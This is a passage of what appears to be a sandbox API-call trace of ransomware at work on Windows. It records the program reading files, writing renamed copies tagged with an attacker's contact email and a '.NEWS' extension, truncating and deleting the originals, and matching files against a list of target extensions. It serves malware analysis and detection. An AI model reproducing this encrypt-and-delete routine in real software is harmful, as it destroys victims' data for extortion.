(lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0063.676] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0063.676] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.676] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.676] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0063.678] GetLastError () returned 0x0 [0063.678] ReadFile (in: hFile=0x33c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0xdc6, lpOverlapped=0x0) returned 1 [0063.679] WriteFile (in: hFile=0x340, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xdd0, lpOverlapped=0x0) returned 1 [0063.680] ReadFile (in: hFile=0x33c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0063.680] WriteFile (in: hFile=0x340, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xe4, lpOverlapped=0x0) returned 1 [0063.680] SetEndOfFile (hFile=0x340) returned 1 [0063.680] CloseHandle (hObject=0x340) returned 1 [0063.683] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.683] SetEndOfFile (hFile=0x33c) returned 1 [0063.684] CloseHandle (hObject=0x33c) returned 1 [0063.684] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0063.684] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 1 [0063.685] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0063.685] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0063.685] lstrlenW (lpString=".doc") returned 4 [0063.685] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0063.685] lstrlenW (lpString=".docx") returned 5 [0063.685] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0063.685] lstrlenW (lpString=".pdf") returned 4 [0063.685] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0063.685] lstrlenW (lpString=".xls") returned 4 [0063.685] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0063.685] lstrlenW (lpString=".xlsx") returned 5 [0063.685] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0063.685] lstrlenW (lpString=".ppt") returned 4 [0063.685] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0063.685] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0063.685] lstrlenW (lpString=".zip") returned 4 [0063.685] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0063.685] lstrlenW (lpString=".rar") returned 4 [0063.685] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0063.685] lstrlenW (lpString=".bz2") returned 4 [0063.685] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0063.685] lstrlenW (lpString=".7z") returned 3 [0063.685] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0063.685] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0063.685] lstrlenW (lpString=".dbf") returned 4 [0063.685] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0063.685] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0063.685] lstrlenW (lpString=".1cd") returned 4 [0063.685] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0063.685] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0063.685] lstrlenW (lpString=".jpg") returned 4 [0063.685] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0063.686] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0063.686] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0063.686] lstrlenW (lpString=".doc") returned 4 [0063.686] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0063.686] lstrlenW (lpString=".docx") returned 5 [0063.686] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0063.686] lstrlenW (lpString=".pdf") returned 4 [0063.686] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0063.686] lstrlenW (lpString=".xls") returned 4 [0063.686] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0063.686] lstrlenW (lpString=".xlsx") returned 5 [0063.686] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0063.686] lstrlenW (lpString=".ppt") returned 4 [0063.686] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0063.686] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0063.686] lstrlenW (lpString=".zip") returned 4 [0063.686] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0063.686] lstrlenW (lpString=".rar") returned 4 [0063.686] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0063.686] lstrlenW (lpString=".bz2") returned 4 [0063.686] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0063.686] lstrlenW (lpString=".7z") returned 3 [0063.686] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0063.686] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0063.686] lstrlenW (lpString=".dbf") returned 4 [0063.686] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0063.686] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0063.686] lstrlenW (lpString=".1cd") returned 4 [0063.686] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0063.686] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35 [0063.686] lstrlenW (lpString=".jpg") returned 4 [0063.686] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0063.687] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0063.687] lstrlenW (lpString="LocalizedData.xml") returned 17 [0063.687] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0063.687] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=82962) returned 1 [0063.687] CloseHandle (hObject=0x33c) returned 1 [0063.687] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 0x80 [0063.687] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0063.687] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0063.687] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.687] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.687] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0063.687] GetLastError () returned 0x0 [0063.687] ReadFile (in: hFile=0x33c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x14412, lpOverlapped=0x0) returned 1 [0063.690] WriteFile (in: hFile=0x340, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x14420, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x14420, lpOverlapped=0x0) returned 1 [0063.692] ReadFile (in: hFile=0x33c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0063.692] WriteFile (in: hFile=0x340, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xf6, lpOverlapped=0x0) returned 1 [0063.692] SetEndOfFile (hFile=0x340) returned 1 [0063.693] CloseHandle (hObject=0x340) returned 1 [0063.695] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.695] SetEndOfFile (hFile=0x33c) returned 1 [0063.696] CloseHandle (hObject=0x33c) returned 1 [0063.696] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0063.697] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 1 [0063.697] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0063.697] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0063.697] lstrlenW (lpString=".doc") returned 4 [0063.697] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0063.697] lstrlenW (lpString=".docx") returned 5 [0063.697] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0063.697] lstrlenW (lpString=".pdf") returned 4 [0063.697] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0063.697] lstrlenW (lpString=".xls") returned 4 [0063.697] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0063.697] lstrlenW (lpString=".xlsx") returned 5 [0063.697] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0063.697] lstrlenW (lpString=".ppt") returned 4 [0063.697] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0063.697] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0063.697] lstrlenW (lpString=".zip") returned 4 [0063.697] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0063.697] lstrlenW (lpString=".rar") returned 4 [0063.697] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0063.697] lstrlenW (lpString=".bz2") returned 4 [0063.697] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0063.698] lstrlenW (lpString=".7z") returned 3 [0063.698] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.698] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0063.698] lstrlenW (lpString=".dbf") returned 4 [0063.698] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0063.698] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0063.698] lstrlenW (lpString=".1cd") returned 4 [0063.698] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0063.698] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0063.698] lstrlenW (lpString=".jpg") returned 4 [0063.698] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0063.698] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0063.698] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0063.698] lstrlenW (lpString=".doc") returned 4 [0063.698] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0063.698] lstrlenW (lpString=".docx") returned 5 [0063.698] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0063.698] lstrlenW (lpString=".pdf") returned 4 [0063.698] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0063.698] lstrlenW (lpString=".xls") returned 4 [0063.698] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0063.698] lstrlenW (lpString=".xlsx") returned 5 [0063.698] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0063.698] lstrlenW (lpString=".ppt") returned 4 [0063.698] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0063.698] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0063.698] lstrlenW (lpString=".zip") returned 4 [0063.698] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0063.698] lstrlenW (lpString=".rar") returned 4 [0063.698] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0063.698] lstrlenW (lpString=".bz2") returned 4 [0063.698] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0063.698] lstrlenW (lpString=".7z") returned 3 [0063.698] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.698] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0063.698] lstrlenW (lpString=".dbf") returned 4 [0063.699] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0063.699] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0063.699] lstrlenW (lpString=".1cd") returned 4 [0063.699] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0063.699] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0063.699] lstrlenW (lpString=".jpg") returned 4 [0063.699] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0063.699] lstrcmpiW (lpString1=".rtf", lpString2=".NEWS") returned 1 [0063.699] lstrlenW (lpString="eula.rtf") returned 8 [0063.699] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0063.699] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=6851) returned 1 [0063.699] CloseHandle (hObject=0x33c) returned 1 [0063.699] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 0x80 [0063.699] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0063.699] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0063.699] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.699] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.700] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0063.701] GetLastError () returned 0x0 [0063.701] ReadFile (in: hFile=0x33c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x1ac3, lpOverlapped=0x0) returned 1 [0063.703] WriteFile (in: hFile=0x340, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x1ad0, lpOverlapped=0x0) returned 1 [0063.704] ReadFile (in: hFile=0x33c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0063.704] WriteFile (in: hFile=0x340, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xe4, lpOverlapped=0x0) returned 1 [0063.704] SetEndOfFile (hFile=0x340) returned 1 [0063.704] CloseHandle (hObject=0x340) returned 1 [0063.705] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.705] SetEndOfFile (hFile=0x33c) returned 1 [0063.706] CloseHandle (hObject=0x33c) returned 1 [0063.706] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0063.706] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 1 [0063.706] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0063.706] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0063.706] lstrlenW (lpString=".doc") returned 4 [0063.707] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0063.707] lstrlenW (lpString=".docx") returned 5 [0063.707] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0063.707] lstrlenW (lpString=".pdf") returned 4 [0063.707] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0063.707] lstrlenW (lpString=".xls") returned 4 [0063.707] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0063.707] lstrlenW (lpString=".xlsx") returned 5 [0063.707] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0063.707] lstrlenW (lpString=".ppt") returned 4 [0063.707] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0063.707] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0063.707] lstrlenW (lpString=".zip") returned 4 [0063.707] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0063.707] lstrlenW (lpString=".rar") returned 4 [0063.707] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0063.707] lstrlenW (lpString=".bz2") returned 4 [0063.707] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0063.707] lstrlenW (lpString=".7z") returned 3 [0063.707] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0063.707] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0063.707] lstrlenW (lpString=".dbf") returned 4 [0063.707] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0063.707] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0063.707] lstrlenW (lpString=".1cd") returned 4 [0063.707] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0063.707] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0063.707] lstrlenW (lpString=".jpg") returned 4 [0063.707] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0063.707] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0063.707] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0063.707] lstrlenW (lpString=".doc") returned 4 [0063.707] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0063.707] lstrlenW (lpString=".docx") returned 5 [0063.707] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0063.708] lstrlenW (lpString=".pdf") returned 4 [0063.708] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0063.708] lstrlenW (lpString=".xls") returned 4 [0063.708] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0063.708] lstrlenW (lpString=".xlsx") returned 5 [0063.708] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0063.708] lstrlenW (lpString=".ppt") returned 4 [0063.708] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0063.708] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0063.708] lstrlenW (lpString=".zip") returned 4 [0063.708] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0063.708] lstrlenW (lpString=".rar") returned 4 [0063.708] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0063.708] lstrlenW (lpString=".bz2") returned 4 [0063.708] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0063.708] lstrlenW (lpString=".7z") returned 3 [0063.708] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0063.708] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0063.708] lstrlenW (lpString=".dbf") returned 4 [0063.708] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0063.708] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0063.708] lstrlenW (lpString=".1cd") returned 4 [0063.708] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0063.708] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0063.708] lstrlenW (lpString=".jpg") returned 4 [0063.708] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0063.708] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0063.708] lstrlenW (lpString="LocalizedData.xml") returned 17 [0063.708] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0063.709] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=72076) returned 1 [0063.709] CloseHandle (hObject=0x33c) returned 1 [0063.709] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 0x80 [0063.709] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0063.709] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0063.709] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.709] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0063.709] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0063.709] GetLastError () returned 0x0 [0063.709] ReadFile (in: hFile=0x33c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x1198c, lpOverlapped=0x0) returned 1 [0063.970] WriteFile (in: hFile=0x340, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x11990, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x11990, lpOverlapped=0x0) returned 1 [0063.972] ReadFile (in: hFile=0x33c, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0063.972] WriteFile (in: hFile=0x340, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xf6, lpOverlapped=0x0) returned 1 [0063.972] SetEndOfFile (hFile=0x340) returned 1 [0063.972] CloseHandle (hObject=0x340) returned 1 [0063.974] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, 